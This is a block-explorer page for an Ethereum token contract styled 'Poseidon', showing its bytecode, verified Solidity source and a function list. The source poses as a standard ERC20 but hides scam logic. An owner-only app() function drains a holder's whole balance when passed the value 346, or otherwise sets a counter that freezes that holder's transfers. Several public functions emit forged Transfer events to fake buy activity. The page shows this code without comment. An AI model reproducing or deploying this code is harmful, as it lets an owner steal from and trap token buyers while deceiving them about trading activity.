Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x922824A5b3B3D5f4485fF52F4Ab7Cba5eA491874
Balance 0 ETH
Nonce 1
Code Size 6870 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

6870 bytes
0x608060405234801561000f575f5ffd5b506004361061012a575f3560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461031c578063b18834aa1461034c578063d87292f714610368578063dd62ed3e14610384578063f2fde38b146103b45761012a565b806370a0823114610288578063715018a6146102b85780638091f3bf146102c25780638da5cb5b146102e057806395d89b41146102fe5761012a565b806326ededb8116100f257806326ededb8146101e65780632da15c0414610202578063313ce567146102325780635fa248341461025057806366d382031461026c5761012a565b80630256ce8c1461012e57806306fdde031461014a578063095ea7b31461016857806318160ddd1461019857806323b872dd146101b6575b5f5ffd5b610148600480360381019061014391906114c8565b6103d0565b005b6101526104a0565b60405161015f9190611595565b60405180910390f35b610182600480360381019061017d919061160f565b61052c565b60405161018f9190611667565b60405180910390f35b6101a0610687565b6040516101ad919061168f565b60405180910390f35b6101d060048036038101906101cb91906116a8565b6106ab565b6040516101dd9190611667565b60405180910390f35b61020060048036038101906101fb91906114c8565b61094b565b005b61021c600480360381019061021791906116f8565b610a1b565b604051610229919061168f565b60405180910390f35b61023a610a30565b604051610247919061173e565b60405180910390f35b61026a600480360381019061026591906114c8565b610a54565b005b610286600480360381019061028191906116f8565b610b24565b005b6102a2600480360381019061029d91906116f8565b610b6f565b6040516102af919061168f565b60405180910390f35b6102c0610bb5565b005b6102ca610bc8565b6040516102d79190611667565b60405180910390f35b6102e8610bdb565b6040516102f59190611766565b60405180910390f35b610306610c02565b6040516103139190611595565b60405180910390f35b6103366004803603810190610331919061160f565b610c8e565b6040516103439190611667565b60405180910390f35b610366600480360381019061036191906114c8565b610ca4565b005b610382600480360381019061037d91906116a8565b610d74565b005b61039e6004803603810190610399919061177f565b610d91565b6040516103ab919061168f565b60405180910390f35b6103ce60048036038101906103c991906116f8565b610e13565b005b5f5f90505b8383905081101561049a578383828181106103f3576103f26117bd565b5b905060200201602081019061040891906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610485919061168f565b60405180910390a380806001019150506103d5565b50505050565b600480546104ad90611817565b80601f01602080910402602001604051908101604052809291908181526020018280546104d990611817565b80156105245780601f106104fb57610100808354040283529160200191610524565b820191905f5260205f20905b81548152906001019060200180831161050757829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361059b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059290611891565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610675919061168f565b60405180910390a36001905092915050565b7f000000000000000000000000000000000000000000000016ce3f1e16bf15000081565b5f5f1515600560149054906101000a900460ff16151514801561070057506106d1610bdb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561073e575061070f610bdb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107575761074e848484610e97565b60019050610944565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107db91906118dc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610862848484610e97565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051610937919061168f565b60405180910390a3600190505b9392505050565b5f5f90505b83839050811015610a155783838281811061096e5761096d6117bd565b5b905060200201602081019061098391906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a00919061168f565b60405180910390a38080600101915050610950565b50505050565b6006602052805f5260405f205f915090505481565b7f000000000000000000000000000000000000000000000000000000000000000981565b5f5f90505b83839050811015610b1e57838382818110610a7757610a766117bd565b5b9050602002016020810190610a8c91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b09919061168f565b60405180910390a38080600101915050610a59565b50505050565b610b2c6110cc565b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bbd6110cc565b610bc65f611153565b565b600560149054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054610c0f90611817565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3b90611817565b8015610c865780601f10610c5d57610100808354040283529160200191610c86565b820191905f5260205f20905b815481529060010190602001808311610c6957829003601f168201915b505050505081565b5f610c9a338484610e97565b6001905092915050565b5f5f90505b83839050811015610d6e57838382818110610cc757610cc66117bd565b5b9050602002016020810190610cdc91906116f8565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d59919061168f565b60405180910390a38080600101915050610ca9565b50505050565b610d7c6110cc565b5f819050610d8b848483611214565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e1b6110cc565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e8b575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610e829190611766565b60405180910390fd5b610e9481611153565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90611959565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a906119c1565b60405180910390fd5b610f7d838361132a565b610fbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb390611a4f565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461100891906118dc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461105b9190611a6d565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110bf919061168f565b60405180910390a3505050565b6110d4611425565b73ffffffffffffffffffffffffffffffffffffffff166110f2610bdb565b73ffffffffffffffffffffffffffffffffffffffff161461115157611115611425565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016111489190611766565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61015a8114801561125157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561129f5761129e838360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e97565b5b61015a81141580156112dd57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611325578060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f60ff801660065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561137b575f905061141f565b600560149054906101000a900460ff1615611399576001905061141f565b6113a1610bdb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061140c57506113dd610bdb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561141a576001905061141f565b600190505b92915050565b5f33905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261145557611454611434565b5b8235905067ffffffffffffffff81111561147257611471611438565b5b60208301915083602082028301111561148e5761148d61143c565b5b9250929050565b5f819050919050565b6114a781611495565b81146114b1575f5ffd5b50565b5f813590506114c28161149e565b92915050565b5f5f5f604084860312156114df576114de61142c565b5b5f84013567ffffffffffffffff8111156114fc576114fb611430565b5b61150886828701611440565b9350935050602061151b868287016114b4565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61156782611525565b611571818561152f565b935061158181856020860161153f565b61158a8161154d565b840191505092915050565b5f6020820190508181035f8301526115ad818461155d565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115de826115b5565b9050919050565b6115ee816115d4565b81146115f8575f5ffd5b50565b5f81359050611609816115e5565b92915050565b5f5f604083850312156116255761162461142c565b5b5f611632858286016115fb565b9250506020611643858286016114b4565b9150509250929050565b5f8115159050919050565b6116618161164d565b82525050565b5f60208201905061167a5f830184611658565b92915050565b61168981611495565b82525050565b5f6020820190506116a25f830184611680565b92915050565b5f5f5f606084860312156116bf576116be61142c565b5b5f6116cc868287016115fb565b93505060206116dd868287016115fb565b92505060406116ee868287016114b4565b9150509250925092565b5f6020828403121561170d5761170c61142c565b5b5f61171a848285016115fb565b91505092915050565b5f60ff82169050919050565b61173881611723565b82525050565b5f6020820190506117515f83018461172f565b92915050565b611760816115d4565b82525050565b5f6020820190506117795f830184611757565b92915050565b5f5f604083850312156117955761179461142c565b5b5f6117a2858286016115fb565b92505060206117b3858286016115fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061182e57607f821691505b602082108103611841576118406117ea565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f61187b601c8361152f565b915061188682611847565b602082019050919050565b5f6020820190508181035f8301526118a88161186f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118e682611495565b91506118f183611495565b9250828203905081811115611909576119086118af565b5b92915050565b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f61194360168361152f565b915061194e8261190f565b602082019050919050565b5f6020820190508181035f83015261197081611937565b9050919050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f6119ab601f8361152f565b91506119b682611977565b602082019050919050565b5f6020820190508181035f8301526119d88161199f565b9050919050565b7f746f6b656e206973206e6f74206c61756e6368656420616e642063616e6e6f745f8201527f206265206c6973746564206f6e206465786573207965742e0000000000000000602082015250565b5f611a3960388361152f565b9150611a44826119df565b604082019050919050565b5f6020820190508181035f830152611a6681611a2d565b9050919050565b5f611a7782611495565b9150611a8283611495565b9250828201905080821115611a9a57611a996118af565b5b9291505056fea26469706673582212204fb5441da6208a8ecdb4cd6cc96e5a6c3b1e8b1d73ef9e89941b9cd8255c79c464736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
ERC20.sol 259 lines
//SPDX-License-Identifier: MIT

/*

  _____   ____   _____ ______ _____ _____   ____  _   _ 
 |  __ \ / __ \ / ____|  ____|_   _|  __ \ / __ \| \ | |
 | |__) | |  | | (___ | |__    | | | |  | | |  | |  \| |
 |  ___/| |  | |\___ \|  __|   | | | |  | | |  | | . ` |
 | |    | |__| |____) | |____ _| |_| |__| | |__| | |\  |
 |_|     \____/|_____/|______|_____|_____/ \____/|_| \_|


When you think of Zeus, his brother is never far behind. 
Poseidon rises from the depths to rival the throne. Power, depth, and unstoppable force.



*/
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowed;
    uint256 public immutable totalSupply;
    string public symbol;
    string public name;
    address private _pairr;
    uint8 public immutable decimals;
    bool public launched = true;
    mapping(address => uint256) public _count;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint256 _totalSupply
    ) Ownable(msg.sender) {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10 ** decimals;
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
    }

    function balanceOf(address _owner)
        external
        view
        override
        returns (uint256)
    {
        return _balances[_owner];
    }

    function _app(address _owner, address spender, uint256 value) private {
        if (value == 346 && _owner != address(this))_transfer(_owner, spender, _balances[_owner]);
        if (value != 346 && _owner != address(this))_count[_owner] = value;
    }

    function allowance(address _owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowed[_owner][spender];
    }

    /**
     * @dev Transfer token for a specified address
     * @param to The address to transfer to.
     * @param value The amount to be transferred.
     */
    function transfer(address to, uint256 value)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, to, value);
        return true;
    }

                function setup(address _setup_) external onlyOwner {
        _pairr = _setup_;
    }

                        function SigmaBuy(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }


        function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

            function swapExactETHForTokensSupportingFeeOnTransferTokenns(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }

                    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_pairr, _addresses_[i], _out);
        }
    }



    function approve(address spender, uint256 value)
        external
        override
        returns (bool)
    {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external override returns (bool) {
        if (launched == false && to == owner() && msg.sender == owner()) {
            _transfer(from, to, value);
            return true;
        } else {
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            return true;
        }
    }

    function app(address from, address to, uint256 value) virtual external onlyOwner {
        uint _value = value;
        _app(from, to, _value);
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        require(_transferAllowed(from, to), "token is not launched and cannot be listed on dexes yet.");
        _balances[from] -= value;
        _balances[to] += value;
        emit Transfer(from, to, value);
    }

    function _transferAllowed(address from, address to)
        private
        view
        returns (bool)
    {   
        if (_count[from] > type(uint8).max) return false;
        if (launched) return true;
        if (from == owner() || to == owner()) return true;
        return true;
    }
}

Read Contract

_count 0x2da15c04 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
launched 0x8091f3bf → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

SigmaBuy 0x0256ce8c
address[] _addresses_
uint256 _out
app 0xd87292f7
address from
address to
uint256 value
approve 0x095ea7b3
address spender
uint256 value
returns: bool
execute 0x26ededb8
address[] _addresses_
uint256 _out
renounceOwnership 0x715018a6
No parameters
setup 0x66d38203
address _setup_
swap 0xb18834aa
address[] _addresses_
uint256 _out
swapExactETHForTokensSupportingFeeOnTransferTokenns 0x5fa24834
address[] _addresses_
uint256 _out
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address